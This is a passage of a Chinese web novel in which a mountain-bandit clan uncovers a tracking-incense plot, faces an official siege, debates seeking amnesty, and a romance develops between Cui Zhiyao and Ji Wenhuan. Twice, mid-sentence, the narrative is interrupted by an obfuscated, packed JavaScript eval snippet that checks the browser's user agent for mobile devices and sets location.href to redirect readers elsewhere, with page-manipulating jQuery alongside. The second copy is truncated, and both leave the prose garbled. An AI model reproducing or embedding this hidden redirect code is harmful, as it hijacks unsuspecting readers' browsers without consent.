“陶兄莫恼,”纪文焕语气依旧平稳,“还请仔细回想,那日救人之事,当真没有半分蹊跷?你身上沾染的,可不是什么寻常熏香,而是一种极为罕见的追踪之物——名唤千里香。” “什么香?”陶肃一愣。 崔执瑶似乎也不知道,眼里的冰霜甚至因一份探究而稍稍消融。 纪文焕本有意卖个关子,瞥见崔执瑶神情,不自觉便继续解释道:“此香名贵非常,其性特异,气味淡却持久,沾染人身后可逾十日不散。最关键在于,有一种经过特殊驯养的鹰隼,能于二十里内,凭此香循迹追踪,锁定目标方位。常用于朝廷追踪重犯。” “闻所未闻!”陶肃厉声驳斥,“纪文焕,你为了脱罪,竟连这等子虚乌有的东西都能编造出来!” 一直沉默聆听的那位长老此刻却开口了,沉吟道:“千里香……老朽倒是略有耳闻。” 他转向崔温茂,“寨主,数年前,苍厥部确曾向大翎进贡过一种异香,据说可饲鹰寻踪。只是此香极为珍稀,价值连城,莫说寻常商贾,便是普通官衙,也未必能用得上。” 陶肃脸色变了变:“你的意思是……那老者故意将香弄在我身上?这怎么可能!我与那老者素不相识,他如何知晓我的身份?” 纪文焕目光投向陶肃手中的信纸,不答反问:“不知陶兄,可否将手中信件借在下一观?” 陶肃尚在犹豫,崔执瑶已利落地将信纸从他指间抽过,要递给纪文焕。 就在信纸即将递到纪文焕手中的刹那,他却忽然抬手——不是去接信,而是一把扣住了崔执瑶递信的手腕。 崔执瑶满眼错愕。 纪文焕并未看她,只是就着这个姿势,微微低头,将鼻尖靠近她手中的信纸边缘,轻轻一嗅。 他指尖微凉,透过肌肤传来,崔执瑶心头莫名一跳,正要抽手,却听见纪文焕已沉静笃定地开口: “果然。”他抬起眼帘,看向众人,“这信纸上,也沾了千里香。” 陶肃面色骤变,几位长老与崔温茂亦面面相觑。 信是今日才到,陶肃身上的香气却已染了数日,这绝非巧合。 唯独崔执瑶蹙着眉与纪文焕对视一眼,随即抽回手,侧身避开他的目光。 纪文焕手中一空,缓缓将手放下。只听崔温茂语气凝重道:“看来事情比我们想得更棘手。这飞鸽传书,已被人动了手脚。” 纪文焕颔首:“正是。对方应是发现了陶兄的身份,想借他为引,探出山寨位置。晚辈推测,他们可能已用鹰隼摸到了山寨的大致方位,却寻不着具体入口。算来陶兄上山已十日,千里香渐淡,鹰隼便失去了踪迹。恰逢此时有信自山外来,他们便借此再施手段,想让鹰隼重新追踪。” 陶肃仍盯着纪文焕:“就算山寨位置不是你泄露的,也难保不是你透露了我的消息。否则那老者怎能认出我的身份?” “这也正是我想不通之处。”纪文焕坦然道。 陶肃还要再辩,崔执瑶却冷不丁开口:“你那日救人时,佩的是哪把剑?” 陶肃报上剑名。 崔执瑶听罢,神色一凝。 纪文焕目光关切地看着她。 崔温茂温声问:“阿瑶,怎么了?” “爹,”崔执瑶声音微紧,“我此前在山下救嘉音时,曾遗失一柄匕首——那匕首上,刻有‘归云’二字。” 陶肃呼吸一滞:“我那把剑上……也有这二字!”他猛然想起什么,“对了!那日我不止救了老者,此前在南州城中,还曾出剑救过一名被歹徒纠缠的妇人。击退歹人后,有个年轻男子上前问我,此剑从何处购得。我当时未多想,只说是家中自己铸的,便离开了。难道……那老者竟是此人安排?可这说不通啊……” 他们二人的兵器,还是十二三岁年少新奇时,在山下见人家铺子里的物件都刻有专属标识,便自己拿着小刀,照着“归云”二字,歪歪扭扭地刻了上去。那时只觉得威风,一口气刻了好几把,谁能料到,许多年后竟会在这上头栽了跟头。 “什么样的年轻人?”崔执瑶追问。 “衣着华丽,看着颇为贵气,模样嘛——”他瞥了眼纪文焕,“跟他差不多,是个小白脸书生。” 崔执瑶冷声道:“我救嘉音时,也见过这么一个人,骑马行在队伍最前。想来是同一人了。” 即便将前因后果串联起来,陶肃仍是想不明白:“就因为你从他手里救走一个女子,他便记恨至此?甚至不惜调动官兵剿匪?” “恐怕不止如此。”纪文焕此时缓缓接话,语气里 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“她查过我的底细,”纪文焕抢在崔执瑶之前开口,“是我刻意隐瞒了真实身份,才致有今日之局。错在我。” 陶肃嗤道:“此刻惺惺作态又有何用?祸事已生,便是将你千刀万剐,又能挽回什么?” 纪文焕心道:便是没用你方才不也想将我千刀万剐了吗? 但他面上不显,只顺着话头,语气郑重道:“陶兄说得是,追悔无益。祸事因我而起,我亦不愿牵连山寨。我愿……” 他说到此处,不由自主地瞥向崔执瑶,见她侧着脸,看不清神情,方才继续道,“主动离开,自投罗网,令他收手,不再为难山寨。” “你说得轻巧!”陶肃驳斥,“他既已探知山寨存在,自古官匪不容,何况是隐于深山、不为人知的匪寨?如今行迹既露,他又岂会轻易罢休?” 纪文焕也忍不了他了:“陶兄觉得这也不行,那也不妥,不知陶兄有何高见?” “我……”陶肃一时语塞,半天答不上来。 崔温茂此时看向女儿:“阿瑶,你如何看?” 一时之间变故迭起,崔执瑶心绪纷乱如麻。她沉默片刻,最终握了握拳,低声道:“此事女儿难辞其咎,不敢再任性妄为。一切……但凭爹做主。” 崔温茂缓缓道:“依我之见,倒真想采纳文焕的法子——将他交出去,换山寨一个安宁。” 几人皆静默不语。 崔温茂却摇头笑了笑:“可惜,对方未必肯就此罢手。” 崔执瑶抬眼:“爹,此话何意?” 崔温茂自袖中取出另一封信函,并未递与众人,只轻轻置于案上:“山下暗线来报,叶怡木的客栈已被查抄,她如今……应当也已下狱了。” 崔执瑶指尖一颤:“木娘……” 崔温茂目光落在纪文焕身上:“你那仇家是何身份我虽不清楚,但必是官场中人。既是官身,便不可能明着杀你。我猜,他们打的算盘,是要将你与山匪一道剿获,让你背上通匪之罪,死在此地。” 他顿了顿,声音渐沉:“纵使我们此刻将你交出去,你又如何应对?纵使你三缄其口,可他既已经知道陶肃与阿瑶的存在,绝不会就此罢手,仍会想方设法对山寨下手,借此坐实你通匪之罪。” “所以,自你踏入山寨的那一刻起,这场祸事……便已无可幸免。” 24. 第 24 章 这话落下,屋里一时无人作声。 片刻,那长老先开了口,声音沉沉:“寨主,眼下该当如何?” “兵来将挡,水来土掩。”崔温茂神眼底凝着风雨欲来的平静,“事既已出,便去应对。” 他吩咐崔执瑶与陶肃:“你二人即刻下山,带上几个靠谱的弟兄,务必隐匿行踪,探清山脚附近可有官府眼线埋伏。” “是!” 二人齐声应下,再无多言,转身便走。自始至终,崔执瑶未曾看纪文焕一眼。纪文焕的目光却如粘在她背影上,直到那身影消失在门外廊下的阴影里,仍未能收回。 屋内重归寂静。 崔温茂这才看向纪文焕:“天色不早,你先回去歇着。一切,待他二人探明消息后再议。” 纪文焕喉头动了动,许久未曾有过这种被动的无力感。在确凿的消息传回之前,他什么也做不了。他再次深深一揖:“祸因晚辈而起,实在愧对寨主,愧对众人。” “阿瑶说得不错,此事她亦有责任。我身为她的父亲,自然也当承担一份。”崔温茂抬了抬手,神色间并无苛责,淡然道,“更何况,若要人不知,除非己莫为。山寨隐匿于此,终究非长久之计,有此一遭是迟早的事。世间诸事,环环相扣,今日之局,看似偶然,亦有必然。不必全揽于己身。” 他目光深远:“眼下更紧要的,是想出应对之策,护住寨中无辜百姓。去吧。” 纪文焕只得再次行礼:“文焕告退。” 崔执瑶与陶肃这一去便是彻夜,直到次日天光初透时才返回。这一夜,知情的几人皆未能安枕。 崔温茂与长老在屋中对坐了一宿,灯烛燃尽又续,直至窗纸透出青灰色。 见他二人踏着晨露归来,屋内两人的目光立刻投了过去。 崔执瑶一身墨色夜行衣,肩头与发梢还沾着林间的湿气,眼底有淡青,神色却异常清醒。她声音微哑,带着连夜奔波的疲惫:“爹,我与几位弟兄在山下林外探查了几处要道,皆有官府的人暗中布防。” 陶肃脸色亦沉郁:“我那边也是。” 虽早有预料,崔温茂仍闭目片刻,方睁眼问道:“跟着去探查的演武队弟兄,都知晓了?” 陶肃:“同去的弟兄都已知晓。余下的人……消息怕是也快传开了。”他语带忧虑,“师父,若是寨中众人皆知此事……” 他没说下去,但在座四人心下皆明。寨中多是安分度日的寻常百姓,本就对官府心存畏怯,更有许多人从未与官家打过交道。骤然得知被官兵围山,难免惶恐。 一旦人心惶乱,则诸事难安。 崔温茂沉吟道:“若冲突难免,此事终是瞒不住的。你二人……可有何应对之策?” 几人一时沉默,烛火哔剥轻响。 崔执瑶率先开口,声音虽轻却稳:“事已至此,不如坦诚相告。寨中众人在此安居多年,皆是真心爱护山寨的,只要妥善安抚,应能稳住人心。” 她认真道,“何况多一人知晓,便多一份心力,大家同心协力,我们的胜算也能多添一分。” 崔温茂:“那山下的官兵……” “打便是了。”陶肃眉峰一挑,语气里带着惯有的锐气,“我们避居在此多年,却不代表怕事。真到了动手的时候,必叫他们知道厉害!” 崔温茂未即刻决断,转而看向身旁长老。长老抚须良久,面上似有无奈,终是摇了摇头。 崔温茂亦神色凝重,正欲再吩咐,忽闻门外脚步声近,有人来报: “寨主,姑爷求见。” 陶肃眉头一皱,下意识想说些什么,眼角余光瞥见崔执瑶那冷若冰霜的脸,心头先掠过一丝快意,到底忍住了未出声。 崔温茂略将人叫了进来。 纪文焕踏入屋内时,面带倦意,想来也是一夜未眠。他自进门起,目光便不由自主地落在崔执瑶身上。然而崔执瑶面无波澜,只看着前方,仿佛并不认识他。 崔温茂似未察觉三人间的暗流涌动,只平声问:“怎么这么早便过来了?” 纪文焕躬身道:“昨夜寨主命晚辈思量对策,晚辈不敢有丝毫懈怠。” 崔温茂眼中意外:“听你此言,是已有了想法?” 纪文焕坦言:“方才在门外,晚辈恰好听到大小姐与陶兄所言。” “你意下如何?” “大小姐所言,坦诚相告、稳定人心,自是可行。”纪文焕顿了顿,看了眼陶肃,“但陶兄所言,只怕……不妥。” 陶肃胸口一堵,脸色顿时难看起来,碍于崔温茂在场,强忍着没有发作。 崔温茂却颇有兴味:“你也是官场中人,不妨说说看。” 纪文焕正色,徐徐道:“山寨危机当前,坦诚相告确有必要,所谓覆巢之下,焉有完卵。但时机须拿捏得当。既已决定与官府周旋,便须先有详尽周全的安排,再告知众人。让众人知晓我等并非坐以待毙,而是谋定后动,心中有底,方能真正安定人心,凝聚力量。” 崔温茂微微颔首,露出认可之色。 纪文焕继续道:“自古官匪不两立,若真刀兵相见,绝非一战可定。官府一次攻伐不成,大可重整旗鼓再来。官府根基深厚,兵源粮草可源源不绝,偶尔来攻打一次,于他们也不过是九牛一毛。可对山寨呢?” 他字字敲在要害:“瑶娘曾告知我,山寨生计多赖演武队弟兄下山承接任务换取赏金。一旦与官府公然对抗,这条财路还能畅通否?届时莫说赚取赏金,只怕连下山采买、耕种劳作都将处处受制。长久困守,山寨又以何为继?演武队弟兄虽骁勇,然御敌守山,岂是仅凭武艺便可周全?寨中多为避世求安的寻常百姓,若生计无着,人心惶惶,又能坚守到几时?” 陶肃按捺不住,暴躁道:“照你这么说,我们打也不是,不打也不是,难道就只能等着被他们当流寇剿灭,锁进大牢吗?!” “非也。”纪文焕目光湛然,“不是不打,而是不能一直打,被动打。而且这第一战——必须打得漂亮,打得有价值。” 陶肃彻底懵了。 纪文焕没着急说,下意识地望向崔执瑶,期待从她眼中看到一丝认同,哪怕只是一点点波动也好。然而崔执瑶依旧侧身而立,面沉如水,什么情绪也透不出来。 他正失落间,崔温茂沉稳的声音响起,一针见血:“你既看出长久缠斗是死局,那么你的长久之计,又是什么?” 纪文焕沉默,仿佛在斟酌要不要开口。 崔温茂温和道:“但说无妨。” “禀寨主,”纪文焕再次躬身,姿态恭谨,“晚辈愚见,若求长久安宁,免却刀兵永续、生计断绝之患……唯有一条路可走。” 他抬起眼,目光平静,却重若千钧: “招安。” --- 从主屋出来,晨光已大亮,山间却依旧有料峭的寒意。 崔执瑶头也不回地往前走。 纪文焕跟在她身后,一声声唤她,还夹着几句恳求:“你听我解释行不行?” 她充耳不闻,步履更快。 直到临近院落门前,崔执瑶刹住脚步,霍然转身,一双眸子冷冷地钉在他身上。那眼神分明在说:好,你说。 纪文焕所有准备好的话,却在触及她眼眸的瞬间哽住了。他看见她眼底的红血丝,藏着疲惫与强撑的清醒。她昨夜下山探查,定是奔波整宿,未曾合眼…… 这一分神,崔执瑶眼底的冷意更甚,仿佛连最后一点耐性也耗尽了,转身又要走。 纪文焕回过神,下意识伸手拉住她的衣袖。 崔执瑶恼怒地瞪向他,正要挣脱,纪文焕已抢先低声道:“……对不起。” 她动作一顿。 纪文焕身量分明高出她许多,此刻却微微低头,目光恳切地望着她,竟让崔执瑶心尖无端一软。 “我没想到,”他姿态放得很低,“我没想到那次下山会惹出这样大的麻烦。害得你为我……为山寨奔波一夜,不得休息。都是我的错。” 崔执瑶凝视他片刻,最终还是用力,一点一点,将自己的衣袖从他指间抽了出来。 她没再看他,转身进了院子,将他独自留在门外。 纪文焕望着她的背影,肩头一垮,神色黯然。 --- 崔执瑶没回自己屋,而是拐去了映月那边。 映月刚起身不久,正对镜梳头,见她一脸寒霜地进来,吓了一跳:“小姐?” “我在你这儿歇会儿。”崔执瑶哑声道。 映月自然不会阻拦,手忙脚乱地要去给她铺整被褥。却见崔执瑶已自行走到榻边,利落地脱了外衫和靴子,扯过被子便要躺下了。 映月站在榻边,正不知该如何是好,又听崔执瑶闷闷的声音从被褥里传来: “晌午只做你和嘉音的饭便是,也不必……去叫他了。” 映月一愣,旋即明白这“他”指的是谁。她虽不明就里,但心下也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990604|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猜出——姑爷和小姐,怕是又闹别扭了。 她轻轻应了,没再多问——反正不管如何,她自然是无条件向着小姐的! 崔执瑶这一觉并未睡沉,心中有事悬着,不多时便醒了。腹中空空,她起身便往厨房去。甫一踏进厨房门槛,便见灶台前立着一个熟悉的身影。 纪文焕正低头专注地切着菜。 听见脚步声,他转过头来,脸上并无意外之色,反而像是等了许久:“醒了?我猜你该饿了,正想着把饭做好去叫你。” 崔执瑶扫了一眼案板,菜才刚备齐,离下锅还早。她走过去,语气平淡:“你也还没吃?” 纪文焕对她主动搭话颇感意外,眼底瞬间亮起一点光,语气都轻快了些:“是。正好可以一同用些。” “我来做吧。”崔执瑶说着,挽起袖子要接过他手中的刀。 “不,我来做吧。”纪文焕侧身避开,坚持道。 “我来。” “还是我来。” 两人你来我往推让了几回,崔执瑶忽然失了耐性,抬手“哐”一声将手中另一把刀直接砍进案板上的白菜里。菜梗应声裂开,刀刃入木,颤巍巍地立在那儿。 厨房里霎时一静。 崔执瑶抬眼看他,慢声问:“还是我来?” 纪文焕脊背僵直,看着那深深嵌进菜里的刀,喉结动了动,挤出一个顺从的笑,连连点头:“你来,你来。” 他被崔执瑶一个眼神,灰溜溜“请”出了厨房。 虽然早有预料,但当饭菜上桌,纪文焕看着那盘几乎被辣椒淹没的爆炒白菜、虎皮青椒时,他还是感到一阵欲哭无泪的绝望。 这一口吃下去,他什么都能招了。 崔执瑶在他对面坐下,神色自若地问:“怎么,不喜欢?” 纪文焕扬起一个真诚的微笑:“喜欢,特别喜欢。” 崔执瑶也弯了弯嘴角,那笑容却算不上和善。她亲自夹了一大筷子红艳艳的辣椒炒白菜,放进他碗里:“喜欢就多吃。” 纪文焕看着她,笑容僵在脸上,比哭还难看。他认命地端起碗,将那裹满辣椒的菜送入口中。 起初两秒,尚能忍耐。紧接着,一股强烈的灼痛感瞬间席卷了整个口腔,舌头像是被扔进了炭火里,火星四溅,麻得失去了知觉。辣意顺着喉咙灼烧而下,毫不留情地蔓延至五脏六腑。 他艰难地咽下,只觉得喉管像被烙铁烫过,胃里更是翻江倒海。 只这一口,他便倒抽着冷气,嘶嘶作响,辣得眼眶通红,眼泪不受控制地涌了出来。他放下筷子,手指都有些发颤,连再夹菜的力气都没了。 崔执瑶本是存心要让他吃点苦头,可见他脸涨得通红,额头冒出细汗,嘴唇微微发抖,眼泪涟涟的狼狈模样,心里先慌乱了起来。 她赶紧倒了杯凉茶递过去:“水。” 纪文焕却没接。他只是抬着那双被辣意和泪水浸得湿漉漉的眼睛,一眨不眨地望着她,似乎还有些委屈…… 崔执瑶被他看得有些局促,硬着声音催促:“拿着喝啊!” 纪文焕这才慢吞吞地伸出手。可就在他的指尖即将碰到杯壁的刹那,崔执瑶忽然手腕一收,又将茶杯拿了回去。 纪文焕一愣,眼中浮起疑惑。 下一瞬,他只觉衣领被一股力道猛地向前一扯,整个人不受控制地倾身过去。视线晃动的余光里,是崔执瑶骤然放大的脸。 再然后,一片温热的柔软,毫无预兆地贴上了他被辣得发麻的唇。 轰——! 纪文焕浑身的血液仿佛都在这一瞬间冲上了头顶。胸腔里那颗被辣意灼烧的心,此刻被另一种更汹涌、更滚烫的情绪彻底淹没。他惊愕地睁大了眼睛,近在咫尺的是她微微颤动的睫毛。 电光石火间,某个模糊记忆闪过——他似乎在哪本杂书里看过,接吻……是要闭眼的。 他下意识地,闭上眼。 可就在他闭眼的同一瞬,那片温软却倏然撤离了。 骤然失去的触碰让他心头一空,几乎是不假思索地,他伸出手,准确地抓住了她肩头的衣袖,阻止了她的起身。 他睁开眼。 四目相对。空气仿佛凝固,只剩下彼此有些乱的呼吸声。 崔执瑶已侧过脸,不再看她。 纪文焕却注意到,她脸上也浮着薄红,身上的锐利与冷意消散无踪,只剩下一些未及掩饰的慌乱,与同样清晰的、未曾平息的悸动。 25. 第 25 章 “我……” 这个姿势,纪文焕一开口,温热的气息便洒在崔执瑶耳畔。她被他按着肩头,没动,只是耳朵尖不受控制地烧了起来:“你什么?” 纪文焕哑着嗓子:“……辣。” 崔执瑶:“……” 他是真没开玩笑。方才的亲吻像一剂麻药,暂时麻痹了所有感官,可此刻辣意又卷土重来,且来势更凶,让他难受不止。 崔执瑶这次没什么犹豫地将他推开,自己也直起身。纪文焕自己踉跄到桌边,连灌了好几杯冷茶。 几杯凉茶入腹,那股灼烧感却没平息多少。他甚至分不清,这翻涌的热意,究竟是从胃里烧上来的,还是从心口漫开的——指尖发麻,连心跳都乱得稳不下来。 崔执瑶目光落向别处,侧脸线条有些紧绷。纪文焕也没敢看她。 空气静默,弥漫着些许说不清的局促。 纪文焕试图说点什么:“你……” 崔执瑶心里乱糟糟的,没好气道:“你说话能别吞吞吐吐的吗?” 被她一激,纪文焕胆子大了点,认真地问:“你刚刚……为什么突然亲我?” 他看起来是真的想知道。 崔执瑶耳根烧得更红,却强撑着与他对视,语气故意放得随意:“想亲便亲了,哪来那么多缘由。” 纪文焕紧握着杯沿,低低“哦”了一声。 他这副模样,反倒让崔执瑶更加受不了,仿佛自己真成了强占民男的恶霸。 她语气生硬:“……我去重新给你做点能吃的。” “还是我去吧!” 纪文焕几乎是瞬间起身,不等崔执瑶再多说一个字,便转身匆匆出了屋子,那背影竟透着几分落荒而逃的狼狈。 崔执瑶独自留在屋里,按了按自己发烫的脸颊。明明是大冬天,她却觉得有些透不过气。 思绪慢慢回笼:她刚刚……真的把纪文焕给亲了?自己居然被美色迷惑到了如此地步?! 转念一想,又觉自己反应未免太过扭捏。人是她主动亲的,现在这副坐立不安的样子做给谁看?显得她也太……太不中用了! 她一边懊恼,一边用手对着脸颊扇风。 逃出院子的纪文焕并未走远,只立在廊下冷风里,手按着胸口,深深呼吸,试图平息那擂鼓般的心跳。 不合时宜地,他忽然忆起许久以前,自己第一次在寨中吃辣时,崔执瑶曾评价道:“你这副模样……看着倒挺好亲的。” 耳根又隐隐发烫。 这女匪……真是…… 他想不出妥帖的词语来形容她,只觉得心乱。在原地站了许久,直到冷风把脸上的热意吹散些许,他才进了厨房。 纪文焕在灶间忙活到一半,崔执瑶端着几个空盘碗进来,往案板边一搁,语速快而干脆:“我有事先走,这些碗筷你用完一并洗了吧。” 纪文焕手里还握着锅铲,急道:“你……还在生我的气?” 崔执瑶脱口而出:“没有啊……” 纪文焕语气委屈:“那你怎么吃完饭就急着要走。” “我有事啊。” 说完,她才后知后觉地想起纪文焕所说的生气是指什么——他以为她还在为他隐瞒身份的事情耿耿于怀。 她顿了顿,语气缓和下来,认真道:“至于你身份的事,我承认刚知道时是很生气。但细想想,你当时被人追杀,隐瞒身份以求自保,也是人之常情。错在我,是我当初没查清楚就把你带上山……” “如果查清楚了,”纪文焕忽然打断她,紧紧盯着她,“你就不会带我上山了,是吗?” 崔执瑶一愣,不明白他为何纠结于此,只坦然点头:“自然。” 纪文焕眸光黯了黯,声音低了下去:“……哦。” 崔执瑶被他这忽然冷淡下来的态度弄得满腹疑问,不明白自己哪句话又得罪他了。 “你现在出去,是为了官府围山的事?”纪文焕又问,神色已经恢复如常。 崔执瑶点头。 “此事因我……因我们而起,我理当出力。”纪文焕正色道,“我有件事,想请你帮忙。” 崔执瑶猜到他要说什么,想也不想便回绝:“若还是今日你同我爹提的那桩,便不必说了。” “为何?”纪文焕蹙眉,“你也觉得不可行?你常与官府周旋,其中利害我在堂上已剖析清楚,有理无理,你心中应当明白。” “我明白有何用?”崔执瑶声音微沉,“你不是不知,寨中众人多是因受不住官府欺压、过不了那等仰人鼻息的日子,才逃上山来。让我爹同意招安,岂不是要大家重新回去,对官府低头?谁会愿意?” “那你就同意和官府这样僵持下去?” 崔执瑶没说话了。 纪文焕还想再劝,崔执瑶已绕过他:“碗记得洗。” 说罢,人已出了房门。 只剩纪文焕对着空荡的厨房,半晌,轻轻攥紧了手中的菜铲。 崔执瑶赶到演武场时,陶肃已到了好一阵。场下弟兄们被他一番激昂陈词鼓动得群情激奋,口号喊得震天响,誓要保卫山寨。可崔执瑶细听之下,却觉那声势里总透着几分虚浮,底气并不如喊声那般足。 她料想陶肃已将该说的都说了,两人对视一眼,也无废话,即刻开始操练。 崔温茂在堂上未采纳招安之议,陶肃与几位长老更是激烈反对。这路子崔执瑶从未想过,初听时心头亦是一震。 眼下崔温茂只吩咐她与陶肃加紧练兵,待稍有底气,再向全寨公开此事。 崔执瑶与陶肃没读过多少兵书,但幼时常缠着崔温茂讲些古今战例、用兵之道,加之二人多年来与官府周旋的经验最丰,眼下也只能硬着头皮,照猫画虎,死马当作活马医。 崔温茂定下的策略是实战演习,由崔执瑶与陶肃各领一队,模拟攻防。 然而山寨的弟兄们终究缺乏真正的阵战历练,甫一操演,便问题百出。 毫无阵型章法可言,往往一道指令下去,人群便乱了套,不知指令如何衔接转换,时常出现几人成团或各自为战的散乱局面;彼此配合更是生疏,既无掩护协同的意识,也无战术穿插的默契,甚至常撞作一团;临机应变的能力几近于无,只会一窝蜂地前冲,一旦阵脚被冲散,便慌作一团,茫然无措,全无警惕之心…… 一场演练下来,简直鸡飞狗跳。崔执瑶与陶肃皆累得气息不匀,到最后也没能分出胜负——只因两队人马早已散得不成形状。 终究是演习,都是熟识的弟兄,过程中不乏嬉笑讨饶、插科打诨的。 崔执瑶拄着长枪立在场边,鬓发被汗沾湿,贴在颊边。她望着场上三三两两说笑的人群,心里沉沉一坠。 一下午,好似白忙一场。 这样的队伍……真能与官府抗衡么? 一旦踏出那一步,便是开弓没有回头箭了。 崔执瑶心事重重地回到小院,却不见纪文焕踪影。问过映月才知,他去了孟大娘那儿。 草草用过晚饭,倦意席卷而来。她本想早早歇下,目光却无意间瞥见床边矮几上那一摞书册——是纪文焕平日翻看的。 鬼使神差地,她走过去随手翻了翻,竟真寻出一本带兵字的书。 她捧起书坐到脚踏上,就着床头的烛火翻看起来。可没读几行,便觉艰涩异常,字句如同拦路虎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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直到她一缕发丝轻轻扫过他脸颊,微痒的触感传来,鼻尖萦绕着她发间干净皂角的清香,纪文焕忽然心神一荡。 崔执瑶却浑然未觉,见他停顿,催问道:“怎么不说了?这治人不治人是什么意思?” 纪文焕忍耐着,伸手将她连人带被子轻轻推远了些,在她狐疑的目光中,又替她把被角掖严实,正色道:“就保持这个距离。你若再靠近,我便不讲了。” 崔执瑶自己拢了拢被子,对他这般如临大敌的抗拒翻了个白眼,心道至于么。终究还是向“学问”低了头:“行行行,你快讲,别磨蹭。” 纪文焕清了清嗓子,指着书页:“此处念作‘致人而不致于人’,意思是,要设法调动敌人,而不要被敌人所调动……” 夜渐深,烛火摇曳,将两人的影子投在墙壁上,时而交叠,时而分离。直到崔执瑶脑袋一下下轻点,最终靠在他肩侧沉沉睡去,纪文焕才止住话音。 他背影僵住,侧过脸就那样看了她半晌,才小心将她身子放平,盖好被子,起身去忙自己的事。 此后一连数日,崔执瑶都缠着纪文焕讲兵书,听得十分痴迷,连操练时也时常琢磨其中道理,屡屡分心,为此没少和陶肃争执,嫌她不分正业、不负责任。 这日,崔执瑶刚与陶肃争论完,便被崔温茂派人唤往主寨。还未至门前,却见一人戴着面巾,独自立在寨门外。 那人似有所感,转过头来——是纪文焕。面巾上方露出的那双眼睛,沉郁如积雨的云,正深深望向她。 崔执瑶心头一沉,快步上前:“出什么事了?” “孟云松他……”纪文焕的声音隔着粗布传来,又闷又沉,“染的恐怕不是寻常风寒。” 他停顿片刻,四周的风声仿佛也静了静: “而是疫病。”